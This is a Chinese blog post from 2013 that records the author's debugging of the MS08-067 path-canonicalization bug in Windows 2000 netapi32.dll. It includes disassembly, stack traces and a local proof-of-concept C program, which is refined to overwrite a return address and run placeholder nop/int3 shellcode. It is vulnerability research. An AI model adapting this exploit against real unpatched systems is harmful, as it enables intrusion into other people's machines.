注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

ms08067调试  

2013-07-17 08:37:28|  分类: 调试记录 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

MS08067调试

Hcper @ 2013716星期二

 

1、  原因简介

具体原因见网络上的文章,简单的说就是:MS08067成因是定位指针错误,

导致指针指向了字符串之前的位置,直到找到内容为5c的地方。

我这里分析的是win2k里的netapi32.dll,也没打ms06040补丁。

在如下位置的地方。

7518B129 mov     eax, dword ptr [esp+8]

7518B12D cmp     word ptr [eax], 5C

7518B131 je      short 7518B13D

7518B133 cmp     eax, dword ptr [esp+4]

7518B137 je      short 7518B13D

7518B139 dec     eax

7518B13A dec     eax

7518B13B jmp     short 7518B12D

7518B13D mov     cx, word ptr [eax] ;直到内容为5c或者指向开始,退出循环来到这里!

7518B140 sub     cx, 5C

7518B144 neg     cx

7518B147 sbb     ecx, ecx

7518B149 not     ecx

7518B14B and     eax, ecx

7518B14D retn    8

 

2、  分析用poc

我用以前分析ms06040时的poc改造而来,如下:

#include <windows.h>

#include <stdio.h>

 

char *dll=".\\netapi32.dll";

 

// 7517f7e2 netapi32_2k!NetpwPathCanonicalize

DWORD addr1=0x7517F7E2;

 

wchar_t buff[]=L"\\c\\..\\..\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

 

char * makestr(char *str1,unsigned int n,char *str2)

{

       int len,i;

    LPTSTR pszBuf=NULL;

       char * p;

 

       len=strlen(str1)*n+strlen(str2);

    p=pszBuf =(LPTSTR)LocalAlloc(LPTR,len+1);

 

       if (pszBuf==NULL)

       {

              return NULL;

       }

 

       for (i=0;i<n;i++ )

       {

              strcpy(p,str1);

              p+=strlen(str1);

       }

 

       strcpy(p,str2);

       return pszBuf;

}

 

wchar_t * makewcs(wchar_t *str1,unsigned int n,wchar_t *str2)

{

       int len,i;

    LPTSTR pszBuf=NULL;

       wchar_t * p;

 

       len=wcslen(str1)*n+wcslen(str2);

    p=pszBuf = (LPTSTR)LocalAlloc(LPTR,2*len+2);

 

       if (pszBuf==NULL)

       {

              return NULL;

       }

 

       for (i=0;i<n;i++ )

       {

              wcscpy(p,str1);

              p+=wcslen(str1);

       }

 

       wcscpy(p,str2);

       return pszBuf;

}

 

int main(int argc, char *argv[])

{

       HANDLE han;

       int r;

       wchar_t * a1;//输入宽字符串2

       wchar_t a2[0x500];//输出缓冲区

       int a3=0x500;//输出缓冲区长度

       wchar_t *a4;//输入宽字符串1

       wchar_t **a5;//指向宽字符串1的指针

       int a6=0;//整数

 

 

       printf("Load %s\n",dll);

       han=LoadLibrary(dll);

 

       a4=makewcs(L"A",wcslen(buff),L"");

       wcscpy(a4,buff);

       a1=makewcs(L"B",0x10,"");

 

       a5=&a4;

       __asm

       {

              push a6

              push a5

              push a4

              push a3

              lea eax, a2[0]

              push eax

              push a1

              call addr1

              mov r,eax

       }

 

       printf("RET=0x%08x (%d.)\n",r,r);

 

       return 0;

}

 

3、  调试分析

运行到开缓冲区代码附近

7517FC6B sub     esp, 414

 

运行过后的esp=0012F068 这个是缓冲区开始的地址!

运行之前的esp=0012F47C

 

 

 

之后就是如ms06040那样在这个缓冲区构造串。。。

0012F050   7517FCAA  /CALL wcscpy 来自 netapi32.7517FCA4

0012F054   0012F068  |dest = 0012F068

0012F058   00152BF8  \src = "\c\..\..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

 

之后运行到

 

ms08067调试 - appall - 且行且记录

 

第一次路径修正

 

再次运行到

ms08067调试 - appall - 且行且记录

 

第二次路径修正,只不过这时的目的0012EF46已经小于缓冲区开始0012F068

地址0012EF46内容的5c来源于LoadLibrary”.\\netapi32.dll”)相关的调用。

定位错误,导致路径复制到错误的地方。

 

查看一下此时的堆栈:

ms08067调试 - appall - 且行且记录

 

上面有两个返回地址位于0012F034 0012F054两个地方。因此可以溢出这两个地址!

 

注意,上图有一个wcslen的地方下一个值为27比较奇怪!

ms08067调试 - appall - 且行且记录

 

估计是字符串相关的长度!

 

跟了一下27h的由来

在下面的地方计算字符串"\c\..\..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

长度=26h

7517FC89 call edi ; MSVCRT.wcslen

7517FC8B mov esi, eax

 

之后追加“\”在

7517FCD3 inc esi

127h

 

之后在

7518AFE5 push    esi // 27h入堆栈

7518AFE6 push    edi ; MSVCRT.wcslen

 

因此我们可以利用这个长度值使它=5c来利用。

再增加A的个数5ch-27h=35h 53.

改成如下:

wchar_t buff[]=L"\\c\\..\\..\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

 

运行到最后那个wcscpy

ms08067调试 - appall - 且行且记录
 
 

 

溢出之前

 

ms08067调试 - appall - 且行且记录

 

 

溢出之后

 

ms08067调试 - appall - 且行且记录

 

从堆栈里很容易就能看出第89A就是返回地址。

改成XX如下:

wchar_t buff[]=L"\\c\\..\\..\\AAAAAAAXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

 

最后再修改成运行nop nop int3

#include <windows.h>

#include <stdio.h>

 

char *dll=".\\netapi32.dll";

 

DWORD addr1=0x7517F7E2;

 

wchar_t buff[]=L"\\c\\..\\..\\AAAAAAAXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

 

char * makestr(char *str1,unsigned int n,char *str2)

{

       int len,i;

    LPTSTR pszBuf=NULL;

       char * p;

 

       len=strlen(str1)*n+strlen(str2);

    p=pszBuf =(LPTSTR)LocalAlloc(LPTR,len+1);

 

       if (pszBuf==NULL)

       {

              return NULL;

       }

 

       for (i=0;i<n;i++ )

       {

              strcpy(p,str1);

              p+=strlen(str1);

       }

 

       strcpy(p,str2);

       return pszBuf;

}

 

wchar_t * makewcs(wchar_t *str1,unsigned int n,wchar_t *str2)

{

       int len,i;

    LPTSTR pszBuf=NULL;

       wchar_t * p;

 

       len=wcslen(str1)*n+wcslen(str2);

    p=pszBuf = (LPTSTR)LocalAlloc(LPTR,2*len+2);

 

       if (pszBuf==NULL)

       {

              return NULL;

       }

 

       for (i=0;i<n;i++ )

       {

              wcscpy(p,str1);

              p+=wcslen(str1);

       }

 

       wcscpy(p,str2);

       return pszBuf;

}

 

int main(int argc, char *argv[])

{

       HANDLE han;

       int r;

       wchar_t * a1;//输入宽字符串2

       wchar_t a2[0x500];//输出缓冲区

       int a3=0x500;//输出缓冲区长度

       wchar_t *a4;//输入宽字符串1

       wchar_t **a5;//指向宽字符串1的指针

       int a6=0;//整数

 

       printf("Load %s\n",dll);

       han=LoadLibrary(dll);

 

       a4=makewcs(L"A",wcslen(buff),L"");

 

       //RET=>0x7ffa4512

       buff[16]=0x4512;

       buff[17]=0x7ffa;

 

       //shellcode

       buff[20]=0x9090;

       buff[21]=0xcccc;

 

       wcscpy(a4,buff);

 

       a1=makewcs(L"B",0x10,"");

 

       a5=&a4;

       __asm

       {

              push a6

              push a5

              push a4

              push a3

              lea eax, a2[0]

              push eax

              push a1

              call addr1

              mov r,eax

       }

 

       printf("RET=0x%08x (%d.)\n",r,r);

 

       return 0;

}

  评论这张
 
阅读(282)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017